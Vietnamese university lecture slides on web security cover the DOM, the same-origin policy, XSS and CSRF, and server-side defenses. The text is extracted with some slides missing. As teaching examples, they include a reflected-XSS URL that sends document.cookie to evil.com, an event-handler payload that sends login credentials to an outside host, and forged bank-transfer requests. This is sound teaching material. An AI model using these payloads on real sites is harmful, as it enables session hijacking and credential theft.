BÀI 7. AN TOÀN DỊCH VỤ WEB XSS & CSRF
Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội
1
Nội dung
• Xử lý trang web tại trình duyệt • XSS • CSRF
2
CuuDuongThanCong.com
https://fb.com/tailieudientucntt
1
1. XỬ LÝ TẠI TRÌNH DUYỆT
Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội
3
Tương tác trình duyệt Web-Web server
HTTP Request(GET, POST, HEAD, PUT…)
HTTP Response(HTML Page, JS file, CSS file, image, ...)
Hiển thị
Database Queries
4
CuuDuongThanCong.com
https://fb.com/tailieudientucntt
2
Hiển trị (rendering) nội dung trang web
• Mô hình xử lý cơ bản tại trình duyệt: mỗi cửa sổ hoặc 1
frame: Nhận thông điệp HTTP Response Hiển thị:
Xử lý mã HTML, CSS, Javascripts Gửi thông điệp HTTP Request yêu cầu các đối tượng khác(nếu có) Bắt và xử lý sự kiện
• Các sự kiện có thể xảy ra:
Sự kiện của người dùng: OnClick, OnMouseOver… Sự kiện khi hiển thị: OnLoad, OnBeforeUnload… Theo thời gian: setTimeout(), clearTimeout()…
5
Ví dụ
My First Web Page
My first paragraph.
Try it
6
CuuDuongThanCong.com
https://fb.com/tailieudientucntt
3
Document Object Model(DOM)
• Tổ chức các đối tượng của trang HTML thành cấu trúc
cây
• Cung cấp API (hướng đối tượng)để tương tác • Ví dụ:
Thuộc tính: document.alinkColor, document.URL, document.forms[
], document.links[ ]…
Phương thức: document.write()…
• Bao gồm cả đối tượng của trình duyệt(Browser Object Model - BOM): window, document, frames[], history, location…
7
DOM – Ví dụ
document
head body
title ... a
Alice
8
CuuDuongThanCong.com
https://fb.com/tailieudientucntt
4
DOM – Ví dụ khác
...href="javascript:flipText()"> Alice script a
flipText Alice
9
Javascript
• Ngôn ngữ cho phép xây dựng các script để trình duyệt
thực thi
• Được nhúng vào các trang web mà server trả về cho
client
• Thường sử dụng để tương tác với DOM • Khả năng tương tác rất mạnh:
Thay đổi nội dung trang web Theo dõi các sự kiện trên trang web (bao gồm cả hành vi của
người dùng: rê chuột, nhấp chuột, gõ phím)
Đọc, thiết lập cookie Sinh các HTTP Request khác và đọc HTTP Response trả về
10
CuuDuongThanCong.com
https://fb.com/tailieudientucntt
5
Chính sách cùng nguồn(SOP)
• Same Origin Policy • Chính sách sử dụng trên trình duyệt Web • Nguồn = Giao thức + Hostname + Cổng ứng dụng • Chính sách SOP: Trang web của nguồn này không được phép đọc, thay đổi nội dung trang web của nguồn khác
cách ly các trang web khác nguồn
A
B
A
A
B
11
SOP – Ví dụ Kiểm tra khả năng truy cập từ http://www.example.com/dir/page.html
Outcome Compared URL
Success httpː//www.example.com/dir/page2.html
Success
Success httpː//www.example.com/dir2/other.html
httpː//username:password@www.example.com/dir2/other.html
Failure httpː//www.example.com:81/dir/other.html
Failure https://www.example.com/dir/other.html
Failure http://en.example.com/dir/other.html
Failure http://example.com/dir/other.html
Failure http://v2.www.example.com/dir/other.html
Depends httpː//www.example.com:80/dir/other.html
12
CuuDuongThanCong.com
https://fb.com/tailieudientucntt
6
2. TẤN CÔNG DẠNG CROSS SITE SCRIPTING (XSS)
Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội
13
Tấn công XSS (Cross Site Scripting)
• Lỗ hổng XSS: ứng dụng web không kiểm soát sự có mặt của mã thực
thi trong giá trị tham số đầu vào và/hoặc trong kết quả trả về trên thông điệp HTTP Response
• Tấn công XSS: lợi dụng lỗ hổng XSS để ẩn giấu mã độc trong thông điệp HTTP Request và lừa ứng dụng web trả về thông điệp HTTP Response chứa mã độc này.
• Hậu quả: trình duyệt của người dùng thông thường thực thi mã độc nằm trong thông điệp HTTP Response nhận được từ web server
• Có thể thực hiện tương tự trên các dịch vụ email, trình đọc file PDF
• Các phương phép chèn mã thực thi:
Reflected XSS
Stored XSS
DOM-based XSS
14
CuuDuongThanCong.com
https://fb.com/tailieudientucntt
7
Tấn công Reflected XSS
Attack Server
Victim Server
evil.com
Victim Server
(5) Trình duyệt thực thi mã độc
victim.com
15
Tấn công Reflected XSS - Ví dụ
• Giả sử trên website của mục tiêu cung cấp tính năng tìm
kiếm.
http://victim.com/search.php?term=
• Đoạn mã thực thi trên server như sau:
Search Results
Results for :
. . .
16
CuuDuongThanCong.com
https://fb.com/tailieudientucntt
8
Tấn công Reflected XSS - Ví dụ (tiếp)
• Người dùng tải một trang web từ server của kẻ tấn công
chưa đường dẫn sau
http://victim.com/search.php?term=
• Điều gì xảy ra khi người dùng nhấp vào đường dẫn trên?
17
http://www.victim.com/search.php? term=%3Cscript%3Edocument.location=‘evil. com/’ +document.cookie;%3C/script%3E
“Check out this link!”
Session token của người dùng trên victim.com
http://www.victi m.com/search.ph p? term=%3Cscript %3Edocument.loc ation=‘evil.com/’ +document.cookie ;%3C/script%3E
evil.com/f9geiv33knv141
HTTP Response chứa mã thực thi đã truyền qua giá trị đầu vào
victim.com evil.com
18
CuuDuongThanCong.com
https://fb.com/tailieudientucntt
9
Tấn công Stored XSS
Attack Browser/Server
evil.com
(1)Chèn mã độc vào CSDL của mục tiêu
(4)Trình duyệt thực thi mã độc
bank.com
19
evil.com Session token của người dùng trên victim.com
Comment with text:
Posts comment with text:
evil.com/f9geiv33knv141
victim.com
20
CuuDuongThanCong.com
https://fb.com/tailieudientucntt
10
Tấn công Stored XSS – Ví dụ
• Tấn công vào myspace.com năm 2007 để phát tán sâu
Samy
• Myspace cho phép người dùng đăng bài dưới dạng mã
HTML: Kiểm soát, không cho phép nhúng Javascript vào các thẻ
• Yêu cầu thông thường http://www.example.com/welcome.html?name=Joe • Nhúng mã thực thi http://www.example.com/welcome.html?name=
23
Phòng chống tấn công XSS phía server
• Open Web Application Security Project (OWASP) • Kiểm tra cẩn thận HTTP header, cookie, truy vấn, các
trường ẩn
• Không nên cố gắng nhận dạng, loại trừ, lọc các đối tượng
chủ động (active content)
• Nên sử dụng các chính sách dạng “positive” liệt kê những
đối tượng, hành vi được phép, thay vì các chính sách dạng “negative”
• Kiểm tra giá trị đầu vào do client cung cấp • Từ chối/sử dụng các bộ mã cho các ký tự đặc biệt với chuỗi đầu ra. Ví dụ dùng < cho ‘<‘, > cho ‘>’, " cho “...
24
CuuDuongThanCong.com
https://fb.com/tailieudientucntt
12
Chú ý: Mã Javascript có thể chèn vào nhiều vị trí khác nhau trên trang web
• Sử dụng mã Javascript như một URI
• Chèn mã Javascript vào các thuộc tính của
phương thức xử lý sự kiện (OnSubmit, OnError, OnLoad, …) • Một số ví dụ:
onsubmit="hackImg=new Image; hackImg.src='http://www.digicrime.com/'+document.for ms(1).login.value'+':'+ document.forms(1).password.value;"
25
Phòng chống XSS phía server • Sử dụng bộ lọc chuỗi giá trị đầu ra để loại các ký
tự nhạy cảm: Hãy cẩn thận với các mẹo vượt qua bộ lọc Hãy lọc nhiều lần cho tới khi loại hết các từ khóa Ví dụ: lọc 1 lần chuỗi
• Khi hiển thị trang web, trình duyệt tạo một HTTP Request với cookie ở trên để thực thi giao dịch chuyển tiền cho attacker
30
CuuDuongThanCong.com
https://fb.com/tailieudientucntt
15
Tấn công CSRF – Ví dụ
Xác thực với bank.com
bank.com
/transfer?amount=500&dest=Bob
evil.com
Kiểm tra session token Chuyển $500 tới Bob
31
Tấn công CSRF – Ví dụ
/transfer?amount=10000&dest=evilcorp
bank.com
evil.com
$10000
Kiểm tra session token Gửi $10000 tới EvilCorp
32
CuuDuongThanCong.com
https://fb.com/tailieudientucntt
16
Tấn công CSRF – Ví dụ
• “Drive-By Pharming”, Sid Stamm, Zulfikar Ramzan,
Markus Jakobsson, ICICS'07
• Các thiết bị router phục vụ cho gia đình/văn phòng nhỏ
cho phép cấu hình qua giao diện Web Người dùng cần đăng nhập. Tuy nhiên hầu hết dùng tài khoản mặc
định của nhà sản xuất
• Tấn công Drive-by Pharming:
Người dùng truy cập vào website chứa mã độc Một Javascript quét và tìm địa chỉ router Sử dụng Javascript để phát hiện hãng sản xuất và tên sản phẩm
(thường thể hiện qua logo)
Login và sửa thông số cấu hình qua phương thức GET trên URL
33
Phòng chống tấn công CSRF phía server
• Kiểm tra nguồn sinh request qua trường Referer trong
tiêu đề thông điệp HTTP.
Referer: http://evilsite.com/testpage.html
Hạn chế: lộ thông tin thói quen của người dùng
• Khắc phục: Sử dụng trường Origin Origin: http://evilsite.com
• Sử dụng XMLHttpRequest API
Phương thức setRequestHeader cho phép thêm 1 trường bất kỳ
trong tiêu đề HTTP Request
Ví dụ: thư viện prototype.js của JavaScript sử dụng X-
Requested-By
• Sử dụng xác thực đa yếu tố, capcha, secret token…
34
CuuDuongThanCong.com
https://fb.com/tailieudientucntt
17
Phòng chống tấn công CSRF phía server
• https://www.owasp.org/index.php/Cross-
Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet • https://www.owasp.org/index.php/Reviewing_code_for_Cr
oss-Site_Request_Forgery_issues
35
Tổng kết
• Command Injection:
Chèn mã độc vào giá trị đầu vào để thực thi trên server
• SQL Injection:
Chèn truy vấn SQL vào giá trị đầu vào để truy cập CSDL trái phép
trên server
• CSRF:
Lợi dụng hiệu ứng bên (site effect) để gửi các HTTP Request độc
hại từ trình duyệt của người dùng
• XSS
Chèn mã độc vào giá trị đầu vào và lợi dụng kết quả server trả về
để thực thi trên client
36
CuuDuongThanCong.com
https://fb.com/tailieudientucntt
18
Một số biện pháp phòng chống trên web server • Kiểm tra cẩn thận HTTP header, cookie, thẻ bài • Kiểm tra cẩn thận giá trị đầu vào, kết quả trả về • Sử dụng các công cụ kiểm thử black box • Sử dụng các công cụ quét mã độc: Google Analytic,
Norton Safe Web...
• Theo dõi và cập nhật đầy đủ các bản vá bảo mật • Sử dụng firewall dịch vụ web: Apache Mod Security,
Imperva SecureSphere Web Application Firewall, Check Point Web Security…
37
Người dùng được bảo vệ như thế nào?
38
CuuDuongThanCong.com
https://fb.com/tailieudientucntt
19
Bài giảng sử dụng một số hình vẽ và ví dụ từ các bài giảng: • Computer and Network Security, Stanford University • Computer Security, Berkeley University • Introduction to Computer Security, Carnegie Mellon
University
39
CuuDuongThanCong.com
https://fb.com/tailieudientucntt
20